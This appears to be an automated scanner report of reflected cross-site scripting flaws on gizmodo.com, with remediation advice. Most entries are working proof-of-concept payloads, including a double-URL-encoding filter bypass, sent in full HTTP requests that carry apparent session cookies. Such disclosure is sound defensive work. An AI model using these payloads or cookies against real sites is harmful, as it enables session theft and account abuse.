Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6181"-alert(1)-"d413befe04c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5694699/gizmodos-gift-guides-updatedf6181"-alert(1)-"d413befe04c HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 71b98"-alert(1)-"ae773098c7a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5702651/control4-home-automation-review-access-anything-from-anywhere71b98"-alert(1)-"ae773098c7a HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fdecf"-alert(1)-"509852e6935 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5711721/this-weeks-best-appsfdecf"-alert(1)-"509852e6935 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4be4c"-alert(1)-"dbb9d2fc010 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house4be4c"-alert(1)-"dbb9d2fc010 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d29a"-alert(1)-"ef5c124fe7e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5712915/the-real-da-vinci-code-discovered3d29a"-alert(1)-"ef5c124fe7e HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f371"-alert(1)-"6bbf3d6c6d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5712981/commenter-qa-were-here-to-help8f371"-alert(1)-"6bbf3d6c6d2 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6fe9"-alert(1)-"e929857abce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /5713152/your-body-is-a-gadgetf6fe9"-alert(1)-"e929857abce HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4a0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef25e7f0d66c was submitted in the REST URL parameter 2. This input was echoed as c4a0b"><script>alert(1)</script>f25e7f0d66c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/trueconfessionsc4a0b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef25e7f0d66c/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bec93"-alert(1)-"2088d3d2b3d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/trueconfessionsbec93"-alert(1)-"2088d3d2b3d/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3073"-alert(1)-"16e01a61e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/twitterd3073"-alert(1)-"16e01a61e5/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48f56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e18ac90b7210 was submitted in the REST URL parameter 2. This input was echoed as 48f56"><script>alert(1)</script>18ac90b7210 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/twitter48f56%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e18ac90b7210/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
1.12. http://gizmodo.com/tag/twitter/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gizmodo.com
Path:
/tag/twitter/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c326"><script>alert(1)</script>1cb7869197b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
